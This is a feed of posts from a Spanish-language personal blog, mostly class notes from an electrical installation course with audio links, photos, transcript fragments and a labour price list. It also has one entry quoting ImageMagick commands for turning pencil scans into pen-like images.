<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlEo5SZ5p6r9QaNnSN_gQv2daYOCmQ9rEnlyLbmf5hKsKhvcutPEXHCsACElaaRycczdjfuDA_zG5OBt2b_P9bfvFI5VbwigZUztyUIRwI2P4Aivvz3eSX7PkPbrTc_vv59hZzKgAYtj2KerVUKicqn8nfL1O7zceW6EnJFPSRC1KsHZA2lt2DmSCnQMc/s4160/IMG-20250901-WA0031.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzqFtgP8sTEJmpj69SyT0S5LFs_jULdT_pmAed_dHMjEb-3tHRn-Q8YFwG_eTtLUP91cfZH83fSuG3kuIg5wB0JoeXQtjNotwDl2pxn9DJRC4ZSKy0H9SZbocUskTvCdrfS_XV9mQ5Tb7tqTpwQIkqpP_WXh4oBe73XAiPZLS4AnQ5l9chrohEMXUABE4/s4160/IMG-20250901-WA0032.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsHbczAdAYURDZaYJTN1uCIE4YjCdIHvCzoOjxGXg9_3e0XibPoEcT9u5K7IGwA8zAk5mzI2UUnaWLw-dZOyrvek7UxMLKxnR4qLwLQTQhT6LWLBwvi1uDHZbJez-sj8ESCHXOuSV39hvgYmI52MRtdZzy-GZQYtmtbtQvBFSkVT3GuIqSTl0xYXA1RzY/s4160/IMG-20250901-WA0033.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTs37XZ5QlAlBN6L3lRgQXvZ93Svy6kLVGSHeymg8-6uvhLL8qCtXejaGkey5_t6gXlBkaCCn04HfwHly10ERiReFfPqgnropYfQlHrQvzRWt6kaacqUkBy2Mn4XAHH8bS09G1sGgLBmwj-YcrTo8np6KkXLQ3ME5z2mZnXRfWKvXN6jxjSqKEJA63aHo/s4160/IMG-20250901-WA0034.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIFSwnwCXwRGTrHSkuO7jm7_YdGLgZjIBgGFISR5Jw8DBI0eTICCISD72Ih3K5ny3o8eItLPhu0x_YOMmVyimB22qiYKeEp3DKcGaySRR-05gxN9illHzNkwaLPPaoGIYp_KQd3fNMIrAjo7etj1JsnXpjhxjA4r60QE718W9Pd8BI8KSrpzm-vGDwJ8g/s4160/IMG-20250901-WA0035.jpg" alt=""></p>
<p>* Al principio los alumnos estaban armando las cajas octogonales de acuerdo al plano construido en el pizarrón.</p>
<p>Lo primero que vamos a hacer es fijar las cajas.</p>
<h5 id="acuérdense-que-primero-vamos-a-intentar-fijar-las-cajas-pero-ya-vamos-a-poner-el-gancho-u-le-vamos-a-sacar-a-esto-creo-que-uno-tenía-y-le-vamos-a-colocar-ese-depende-como-queda">Acuérdense que primero vamos a intentar fijar las cajas pero ya vamos a poner el gancho U, le vamos a sacar a esto creo que uno tenía y le vamos a colocar ese depende como queda.</h5>
<p>Esto si uno apoya directamente a la base ahí te va a quedar un espacio ahí hay que ver como queda si está bien hecho y tomo bien las medidas no se mueve, tenemos que poner un tornillo acá y otro acá, vamos hacer todo con cañería de PVC. Entonces ya le voy sacando así que voy a buscar materiales.</p>
-
Pencil to pen
https://imlauera.github.io/lapiz_a_birome/
Tue, 26 Aug 2025 15:18:59 -0300
https://imlauera.github.io/lapiz_a_birome/
<p>Ninguno de estos métodos funciona, mejor pedilo a ChatGPT xD</p>
<p>Yes 👍 — you can definitely use <strong>ImageMagick’s <code>convert</code> (or <code>magick</code> in newer versions)</strong> to make pencil writing appear darker, bolder, and more like pen. What you’d usually do is increase contrast, darken grays toward black, and possibly threshold the image.</p>
<p>Here are some example commands you can try:</p>
<hr>
<h3 id="1-increase-contrast--make-pencil-strokes-darker">1. Increase contrast & make pencil strokes darker</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>magick input.jpg -level 20%,80% -contrast -contrast output.jpg
</span></span></code></pre></div><ul>
<li><code>-level 20%,80%</code> remaps brightness so lighter grays become closer to white and darker grays closer to black.</li>
<li><code>-contrast</code> (repeat it 2–3 times if needed) boosts overall contrast.</li>
</ul>
<hr>
<h3 id="2-convert-to-pure-black--white-pen-like-effect">2. Convert to pure black & white (pen-like effect)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>magick input.jpg -threshold 60% output.jpg
</span></span></code></pre></div><ul>
<li>This removes gray tones entirely, leaving only black strokes and white background (like scanned ink).</li>
<li>Adjust the value (<code>60%</code>, <code>70%</code>, etc.) until it looks right.</li>
</ul>
<hr>
<h3 id="3-sharpen-and-darken-details">3. Sharpen and darken details</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>magick input.jpg -morphology Convolve DoG:0,0,1 -normalize -level 25%,75% output.jpg
</span></span></code></pre></div><ul>
<li><code>-morphology Convolve DoG:0,0,1</code> enhances edges (like strokes).</li>
<li><code>-normalize</code> stretches brightness levels.</li>
<li>This makes faint pencil lines look stronger.</li>
</ul>
<hr>
<h3 id="4-combine-for-a-pen-ink-effect">4. Combine for a “pen ink” effect</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>magick input.jpg -colorspace Gray -level 30%,90% -contrast -sharpen 0x1 -threshold 65% output.jpg
</span></span></code></pre></div><p>This workflow:</p>
-
Electricidad / Clase 59: Otro repaso de teoria de tableros. Simbolos ID y ITM
https://imlauera.github.io/electricidad59/
Tue, 26 Aug 2025 01:42:28 -0300
https://imlauera.github.io/electricidad59/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/1lJzg52PKkri">https://vocaroo.com/1lJzg52PKkri</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-232">https://archive.org/details/record-232</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=EOYGy4YI40E">https://www.youtube.com/watch?v=EOYGy4YI40E</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2nhX7NeD3-DcA3qaLElh_boYh6cseqm8Ja_QkfMyusHSf9F7w1_dgvQSsu_4h74MWnG5mumJN9jlvaHTg3eKQF8bMCQVBdSauka-VFZFbt39Ztjp_wsZyLNzsKxYSmuG4JXkhMqewMg0T0T03LJVJkQt-Q46KWSRTOBUuxSPVkTdtHrlzSfBRsIxexT4/s4160/IMG_20250825_182725609.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLKeJZCWt6SlIWVQPCY9Mnp8ayTt_kcGbtVpAEYAxq_80ZxA_LulDa0AoPaTQheXyWkSeU_CT2TiBPfqgI98ZgqyUO75ZVKmaxIdl6wPYfaAtDzT1bgD_-JoCBplNsRcv80KOqcQqqzsWueD_nyY9R281ebeLKpHruzBypyBR43QKGF_EIr9z8Y4VVaT0/s4160/IMG_20250825_191555435_HDR.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_cRg5OE8pXxyVF6KjoGV0ojVb9AoCcylJhYMfNIf-beo0FLMZYIEe-ZoqG0X93_0n0tyGa0WpcPPAAkEbUv_s0vW95CdUQgPTCCNM2bAupHeSu4g6ZWwTlGNW9b72C8bEOaojRasaLIBG-wjcr4WWBRidJi1FvthFEvGcDPUtzLStws2CuokjnssIGgU/s4160/IMG_20250825_201835352.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZwn99oyghuOkShjzDPww0OAXUzgUBM9IJgddCagc9jtp7yOGdHKmEOXGHi93w5V6SJnN1FyukY_xnRRMMcNHn4WO2dlXkSvKh8xjJ91ZGStyURJcnpLokZepe8MqQS37QezHfNK-IoUVL3qn4ZV4pCJ7NCKLO7jvCPsr3hq2uHMfKEyebhKy-0pDIii4/s4160/IMG_20250825_201849785.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZtEduc_ttu29ZbEunkXUkelNjHFM9M2uMc1p0gKgquBqoLSDF5weIZrLV4o0tySmfaGCA67eFq6ee8CmNSebAQMgwwpO6zj-Fz2Ga8N0bPYXZ1Ez3m4j8m-T4JSpygMh6y3f1uUG_ipDHWZ4bRXIxYS045f3xaJVAxM1cb6B2n4Owhsx3Y5KSB1dUX2c/s4160/IMG_20250825_201858656.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivDCYZaO4qmyMAcGHHfrM4W-4aB2Bh_B3fC_O52xOixvzPhmphfyAR4DiXpL2LvPya4TBXmrwmpawhWcrxFEmNNuLiWsW_OYIDMV_bhrpzT8uKGO2U9TmIYxRAZquEE6wkFtyL4tFrO5UeJbb-finnI_0BZjRz1TwWDCBm1K2jiTSYkY1qSE9NdPoknik/s4160/IMG_20250825_201900512.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgpjCHt0HMGQ_7SezMPxfi1bVfAzGa27PQYC08SwgKqS9k4rz6pS_6T3F5KVPrbJw-F8Uo0koFczDFSbE3Oi3-BgOw8l24LuhzSsePhyphenhyphen9jomv_HjNWu_qlc4zDSw1E7LTp9GlI192CzHH-zQtZK7lqcRx7g_11iAyky6ZmLJH7R05ZABiIbKuzaiBqETg/s4160/IMG_20250825_201916246.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMoGkGDhnppKN8RixQmUIkuLKyFV_Jjom1_flPU5s-NP3I3AOCYHYy5Em4x6u1-9XE-Zv_8U76HLZEMUU7eWsSf2SdoEVvGPKFDPThcV2dg8wsPuuPtLKSGKcoLz5lQmhWHdeoZyVNAHYpIdmd11Ss2JjsJbjgOLISMarc_CDGl-vhyCInKR6Cvkm2M5Y/s4160/tablero.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5pmO8CjowcrVLq-WXDeLrbBWBQpsENk6i5aAT4QLsqEm8sfnyHAUnZrc90dgNMgjTB4q2pDM5AMprCm9VD2FY8cX34WAvlBfaGhIwtfg58g7unPFkcNYa2fk9N1aQIf9n_6hZCsMUa91qO3gEQNfDX5KrbchXd8kGknH5vI05SGydUrwmOKCJzSK0mmk/s4160/11b00746-5aa5-437b-b5c2-ec9838673b69.png" alt=""></p>
-
Electricidad / Clase 58 : Cálculo de materiales para trabajo práctico. Sacar foto de tablero, caja de paso.
https://imlauera.github.io/electricidad58/
Wed, 20 Aug 2025 21:24:29 -0300
https://imlauera.github.io/electricidad58/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://voca.ro/12ALfghCID5h">https://voca.ro/12ALfghCID5h</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-228">https://archive.org/details/record-228</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/embed/siIzbl0KN5s">https://www.youtube.com/embed/siIzbl0KN5s</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBJZozPnQlIzxv9AjLWiAPGInZioMSyF2HUm2GQuXPmABod7c8UoAc-bcYVzbeJvuGeGd1uLFDZP25ciGukQErk6bYcNq6O7o1GXkKE_Aqn8SVKKHuSGa3Altm_8OpyAtXlTvwmhqQbjm_Z8k3-t6yWzJ1a3oMsP-CwalwHK0UgXZl5DzkuhdjjMRgHaU/s4160/IMG_20250820_185833264.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE7t3SvmXNQJ9NbDZK5yS1vpgUmC5nT2YKWAf6Uyi3LtC-CCR08JSvCiYPis9kAR2ZpXbhMLp-l4O0uSGBzqnYtVZ8F30cTS9idLj3-Kz4G1Nh5qJV02Fu_fVz36_lcfjAnZTb4JcL32qUXBl03vtKrnpIhVo3e_6jwIeiu4Vc2Erfpv5GfAdA9uCZJOU/s4160/IMG_20250820_191415894.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdIzHhexA6MVcI9HcXciCGJlcIf-FH6W3ita0pSsYDwsQmyQKJRfmFiXZnpEPZHj8MCWY2CsZ63RiOlDDC33SGqI8JEWS8Y0Gw7cIqiGo0hn4UzT-NjkrvYyuB0G8k4Lo8LyAC49hBtl7KWZe1QUchhDjQVuZvPRbUv4QhNhAKGJ1RFpghQbYHGhV-8YU/s4160/IMG_20250820_191856240.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHP9w_wwu1AwDcLqHMsNZAcKLaHgJTcyxTtbDgTq3x6oP5lQSbWPmOldN1z-j0jQCIoESPoUBXKRlj3VHm6mvP-tPiavG9u0_UBPx6T-BAvlH-acgqrB9JOcv7rfG6bcZLYRwuhSSgGm4Dt18Dgy0OZOddcX1btkx26uXH8CnDgmy9k2XP34QveVyEmTE/s4160/IMG_20250820_192531575.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB7ikEFiOY9Vi42QYJ53MFrpP-ZANloXvo-QX6RqjhW5eUZpsRPLg1yzvTqgDhth6S0-XadkafhXrkQk7P-f4VagI5CymVdmq_pdbsjT_GXq_tcTpJ7Ud9W4NyWMgGuWfGzRcWp0N7fwavmdL6IBkxuKfPw2o85bMIQMhFDY0AgrohOvOIJoZMqxIIVj8/s4160/IMG_20250820_192532855.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicgs5yXu-Gu7FIiBdoxC5d_Lpsgxlm45_RT8r9OpnP9RdG3MeykM9JabPBFqm9mZ2TPU-ZBsCu0NpAUDYXHNCaKsg5KMWTWsDIOHd3RN2xo9y-2KlZCazv_35OHqURuJ3LGbLEQLDvEq_JEubAhGcbZ98tj9YUn7FxaYe_vXcf_GR9iaaFXTauVr89P9c/s4160/IMG_20250820_195117101.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2HbJyGvuTPOb7lDgFRTs6805rANPvUc72CR9HFwtexSXzKdRnm5JKlfLHCrLM1MssN-mypeMrZ5JB6uFT-q1VqHLv-I0wJpmuwm-tKMngYAeAXtqaBYP5QnWEabKD9i3Ne1Qm9CI9sFnmnbt14YedZ3X85XT0zWoySMMFqxAoBZS1s1xFhUy0B6nFsGw/s4160/IMG_20250820_200927421.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS4BA9VhKvc3bGVraCWxEdgcsOotpLyTRMWftFgEzNp5-29pYF2ZxBwT9pRiWE92sYm0MAUvC-oqNqusgCalDYNsBOmYZUFhT_YRijxpM7OOxCrfGw4Nl2WvQV7nPt3RiqkIt6eYHGixNT9K4-LyR29XHyYPpsUTl7s0lsJpFssvkLuXrDfJgZmAdMdJM/s4160/IMG_20250820_200932705.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDbHeulnwHSQU4kDPQfMDZMJpIX98Bt6PupoPcSzPM8gdgSNiLxS8G2Mj7myxp75ggxsIrET62Dhy9AZ-AfrZpOIAbrBF0p5ldconD3fyhJHFISn6teYpzE3V71d4RaoAhpFZsPz1rEfc5C4ruC6MdWTTpuALDdvHGMO4ZqLsjWYAK8yooyEWg49nNSYw/s4160/IMG_20250820_201923816_HDR.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmp660xW-7vA76ekL17XZbItD1-twycnlhAlYSAwuveTLZlOPAsomC75Hqg86Jj34wVKcCN2hJL1vq0anBZ438Jmkt0Duj_5RQy7QT2IHTfaPn7KBbACidSbuzIwRA-z1dViuBmImjo3O2u8b3dUlNDB_V-K3a_jKvd_L6wyO1ShSZQNP68136nKFcPP0/s4160/IMG_20250820_201929946.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxZTLhl0ucabcMRiuD3UhlMLVjuD8P8Xfs3WsTt72EG5rr5YD27WVZwKK5BvCVw2xmKRWgfmDmeOMGUgd2Xgkt54zbhREBeBFLS8E5z5tJpdio8oaiGSw1agKR9Ab_3euLRQn7JsfOpocjRXTfz42rCb9CU-IRnOx8aEpo7HHVy12I4Ynf7Dsv0rcTfXw/s4160/IMG_20250820_202813414.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_DRnqubKNHOHd8TuG84JzJqeAs0_RVeE32fGL6sAcg89EYYbW5xst9ZMKZ9F75sIff0i1dIEijMs_mODcR8JyOieJ8WAOTsYfAyny7KpJg5gR1k-6iKGcb8pT0wqx7hN10G9PwModsqbmVwP45Djv1Wc4Gm_YdTUzRMrxS2AnZndN8r_BQ6huYsZgnxs/s4160/IMG_20250820_202814400.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsyGpHxiD0X8qfj7PDdyy3mVECA5itSggU2aDwNNLpm1CyjMwm_U1EyfD_z8IaabUlQghiTXCGVblQ6g8ouHzUiEMfREq3Ihsq5MqzbwlcxVH2Yyb0UvVlgKfB87VtDo-laPj55124jTg21zQhkaYyvmEjYREZt2ylN6FpSJnQY7hevyYj-zB4zb-x5ZM/s4160/IMG_20250820_203111955.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzjLoh2am3feztacKTwXbCBC5Ru_MYLVNy2gp2q9KztKY40IKMNhGCFNzHsG4-WcvWzGCPRG5oZ_M7pnVCg13Hj-0B2XudGoZjJtOYZpkpohcyOs7sbKzPgub9YkLoLAK07wlB_vAnKXHA-3OgKC8XK5N71aRQvTwxLOZlW4Fq-PCYsdp5OhOE3V_ukJQ/s4160/IMG_20250820_203154772.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxZQnvaBZPkcJij-pIPJN4nz5FrL5BnnhgVLr134FXKA6sOa4-vKfDJOJTZAvkNn8LbecQaq1JnzimmSiTxTJzLwTPChd-v_sPmzHIOwIre0yuGi3U05q19wKvGpODzqx-Dy1jKVvj34XvZROcG_dGb01LZkG5gmRsHXcC2qP65iH9YEYfMDoczQKj10Q/s4160/IMG_20250821_115128468.jpg" alt=""></p>
<h3 id="transcripción">Transcripción</h3>
<p>Hablan poner 3 bocas y después la canalización y la bajada del toma.</p>
<p>Tocan el timbre no sé por qué.</p>
<p>Para cambiar de lado vamos a tomar la medida de acá hasta acá, vamos a poner esta caja para que ellos tengan idea, 1,2,3.</p>
<p>3 módulos vamos a usar ahí para que ellos vean como se va.
Ayudante: 14.
Profesor: 14 y probablemente tenga 1 solo toma capaz, la idea ahora van a recibir una hojita esa hojita que es lo que es lo tiene?
Pero está faltando algo.</p>
-
Electricidad / Clase 57: [FOTOCOPIA Pasos para el calculo de materiales] Repaso conceptos tableros.
https://imlauera.github.io/electricidad57/
Tue, 19 Aug 2025 21:56:24 -0300
https://imlauera.github.io/electricidad57/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/1gFTgenwWqTL">https://vocaroo.com/1gFTgenwWqTL</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-227">https://archive.org/details/record-227</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=sHwNltjbHSc">https://www.youtube.com/watch?v=sHwNltjbHSc</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXOa40TI1TMvsbisJA8yADrswWjGAPVv-UJoqoSOZ6GdU2pJr6u3GHaN3o0Qu0_MXmSyRMMRKGLgjsKdTBcsIPi7HDYQf3g4GgC6SXjNKLlxlV_xOUorWoUZN8fjR3DoBkdAf38REUaUWLw23U0AsAW5JWblGW4qtcl3fZ2ZvX0h8e-1t3Y2cFNAZppE4/s4160/IMG_20250819_184852889.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsCrk6aQgoNmPuzEmyGG7Wfa4XKImJ0745yLZEpb5pdNdlU4kh1o2wglf-2uOUlcl26ESwqOcAecrCVr6cnmJkZB8GEhOc0dITbT4TeoxsmrOvGYnpPSYoom1l5VaJFh80dDdi-F-0nJ-ggGRt0z49Ha730_2NAHoa2ERMvIJDR-BrBG6BUdLzc9STXD8/s4160/IMG_20250819_202932453.jpg" alt=""></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdJ476AgEGXqwUbI79tGSAdePAETt7bx5bGy429kEsVMGrfIYKT5YOvAGTgASfQuYKBJtoR_Lt3sDm51guzHw_yEQVKQqlrYSRZkRbUcJODtvdi6582GFrqK2NOqBKdT4JvirZHD41KBdE1NJQkntJD4jwp44JzdnVlJantuHV4A2eqWLE8czq-ulBXMw/s4160/Tablero%20alturas789.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEP4wqUnf2m1JdHN3WytQTYnztGfNkyuPyrlEjyd97tCULsHA-EV18l2RGqjRuB-tfiEsxY68nWwh63AeNND87mehUvSsXi6AQJA9A6MQPap8xMSRUe2P4GykluBy5lypSfJ_fNa-DZ6BuaTvRcdkS_7lKo22Vn5-XknVVestV46fuPebig5a07FLl554/s4160/Tableros%20normas790.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgowWTNFCoJ3XxZVHYRrm1zBsBUHpSohhv6ebnuxvvKcBlu6S9lph0mDx5YJv4l2zcmgFXb7P5ZFLfU3irDrIcQrZzD4H0tWcnvaTsnBGUmSsaa0h7GfuDnE2R4JHjOEORfM5HnywuK0mSiX-YWCphCGkpsZ3NdVNbZ_a60nFWI5BqQg1cTsVrDrKgfSEI/s4160/Tableros%20normas791.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo9CIoJRNwqC4HlOg0el8ty_6RBMSGgm2ZXQKFOc_OZ5DM5ZphuK3KYTGlpnqmyEahMVTL1n7r_SXfVaERIBjkXpkjNnSyk8h2oFhUEMoXUkNWUoVZOs1e2Ucwtoc7dCnUdAuNPaUeoplYeWTJWWVF2UuBzxfRGw7MG6XOAMKohCUUWqZYy3zTjUYniuI/s4160/Tableros%20normas792.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3YZbNKcRFIW6wJuDJm1Y3j5WymeEQZataYFnwrjurMRGjouL8tyjIYiLcjxfwsNMn8IMGU-bhATuf58Vvz0HREsYis2VXu_jRM_OuMFSE1RPfNcY7kFHLYeTqRJ_Cwtr5KIdKnMPPSJYyeqFilNW1oTUJLzQLbwSkHnZXgR5SHO4GSqADiRe34Y-lmXM/s4160/Tableros%20normas793.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEid7P3Jl92HdsJUpAE1MO9Kr_G4U98pCnKpbxa8yigvLtQdznvLEF3iNIsl2_rtEWXHQvZSnzHfeQyj69GABoyEx2-L8AFDmDGNpNxe04IZGlqwBlMVMomfzn9rAPeI8vWOlmKYqGwRE4JqDPQTSRB8bPkoB-AKEVd3OcjM17msanZJO96AJ3J4bsRCnI0/s4160/Tableros%20normas794.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxFyGm9441v23fbMBxBBnw1WamBHoJY3O9LxqBn_yqo5sRKQB-CZn683Ib49JMPWJmCsagOpHxIYhpaKegiMdlklrJNbnrbCsOOMEpj23nZX_u_8vpYIFXzI3O93Qa32YPwdRrHe4ygjfq-UW9m0hG5mpYMdYXZh2YC_G6OtGZlY4O_6kYOCOJj4XfLc8/s4160/Tableros%20normas795.jpg" alt=""></p>
-
Electricidad / Clase 56: Valores a cobrar. Repaso de la clase 43 (Tableros). Leimos PDF en proyector de Genrod de Tableros y Puesta a Tierra.
https://imlauera.github.io/electricidad56/
Tue, 19 Aug 2025 08:40:06 -0300
https://imlauera.github.io/electricidad56/
<h5 id="audio-en-vocaroo">Audio en Vocaroo:</h5>
<p><a href="https://vocaroo.com/1hNCYP7Xp7eM">https://vocaroo.com/1hNCYP7Xp7eM</a></p>
<h5 id="audio-en-archive">Audio en Archive:</h5>
<p><a href="https://archive.org/details/record-224">https://archive.org/details/record-224</a></p>
<h5 id="audio-en-youtube">Audio en YouTube:</h5>
<p><a href="https://www.youtube.com/watch?v=yvvxzv1NUcw">https://www.youtube.com/watch?v=yvvxzv1NUcw</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGGsUU3QtYJWkOaImqOtsuGGuhZf_-QIx2DQEI5mwiiP91bB6Gmd-wV2P1JHS46arOCpddm7dlPvMZCUzrG6MSTdWkcPhMOCGEIqka3atJgWhlLVv3L2z3gH-3Zt9ZKKmpD2gB69hhBBvShxTW_ob5h9selVlqCvKQYB22APH6akwomslUwQci0j4XfuI/s4160/IMG_20250818_201820288.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWRtDlruWvRVrHV3LGMnydD4Fq8VuBJ0xkKaauamWmF_sRmNzO1rUC7AN_HJUPasWpY9YvGwih6cwqyshjJ_9UOKve_qO6TCT1McapyejD_1D4BSTirVfoLQyVPp40guYOG1dfOgkfVZPOV7AaWqmH354TNMKI7pPY7vg4T9eF8OEP5a_EcLrDP6UYEM4/s4160/IMG_20250818_201855968.jpg" alt=""><br>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEtV_96JAzjnpLWjECrPn5nRPOnxEifORLy2xFhqyTzSxvrTijb5gFXEqMFd_fLX4PDpTEJM37bhfuux_J8bTDFZyziQhs5-7OJFYTxyPRJJQORykD2qLcC2GEjGuKTHAyNUMc0IGyK_6ojMrIcWjqk_sELpw1V6gSakCnB8KtMGAzmCa1IksZVBQxe-U/s4160/IMG_20250818_201910397.jpg" alt=""></p>
<h4 id="los-2-pdfs-que-leímos-en-el-proyector">Los 2 PDFs que leímos en el proyector:</h4>
<p><a href="https://archive.org/details/genrod-introduccion-a-la-seleccion-de-gabinetes/GENROD%20-%20Introducci%C3%B3n%20a%20la%20Selecci%C3%B3n%20de%20Gabinetes.pdf">https://archive.org/details/genrod-introduccion-a-la-seleccion-de-gabinetes/GENROD%20-%20Introducci%C3%B3n%20a%20la%20Selecci%C3%B3n%20de%20Gabinetes.pdf</a></p>
<p><a href="https://archive.org/details/genrod-introduccion-a-la-seleccion-de-gabinetes/Puesta_a_Tierra.pdf">https://archive.org/details/genrod-introduccion-a-la-seleccion-de-gabinetes/Puesta_a_Tierra.pdf</a></p>
<h4 id="valores-a-cobrar">Valores a cobrar.</h4>
<p>Inspección ocular $39.400<br>
Urgencia $82.700<br>
2 horas de trabajo (trabajo corto) - $36.400<br>
Mínimo - $24.745<br>
Mano de Obra.<br>
Oficial especializado 8 horas $40.000<br>
Ayudante auxiliar electricista $33.000<br>
Ventilador de techo sin iluminación $59.472<br>
Ventilador de techo con interruptor con iluminaria $74.340<br>
Canalización ladrillo común $33.520<br>
Cableado por boca $17.800<br>
Canalización mampostería $32.603</p>
-
Electricidad / Clase 55: Cálculo cableado de otro plano. Ayudante trajo plano sin conexionado y hicimos el cableado en clase. Repaso uniones, cañería.
https://imlauera.github.io/electricidad55/
Thu, 14 Aug 2025 07:16:00 -0300
https://imlauera.github.io/electricidad55/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://voca.ro/1Drawhi1RRaO">https://voca.ro/1Drawhi1RRaO</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-218">https://archive.org/details/record-218</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=OOucZiR9osE">https://www.youtube.com/watch?v=OOucZiR9osE</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMwS-gtMvOqsEnfoGBe3VziaPAA6i64Dc9ruVWFkwBobMh0GQYLI4zl04wll0VDHvSDASQmW6tHK7U31gZBHX4Epeg_JZUMeIoOQYonj6AHqt0G3z-c19Fnx_BAeQ_oe4ZU9SFxrme8_WEPLM1nv14DuxgE5neHQJJ2_Pc54g7pR0Y1WhUwxaXnnpPfWU/s4160/IMG_20250813_194022899.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglSUh3iXlVFqqdgF2v_zk1UaDwoh0PC0xUiq6VKsmeP4edZZggd183P9gMP1K4zORJ-0ehszPn4SqrUQuhczuSQbYEyA_Yz39flto99R980n3DzR63_vgXzfVWyDjtd6yjKDqzeJtpuQ9t5qBchuJpiln_WxTK4BO73qlpyNj2V2NEZW4AsoTNOMxa3m4/s4160/IMG_20250813_194027116.jpg" alt="">
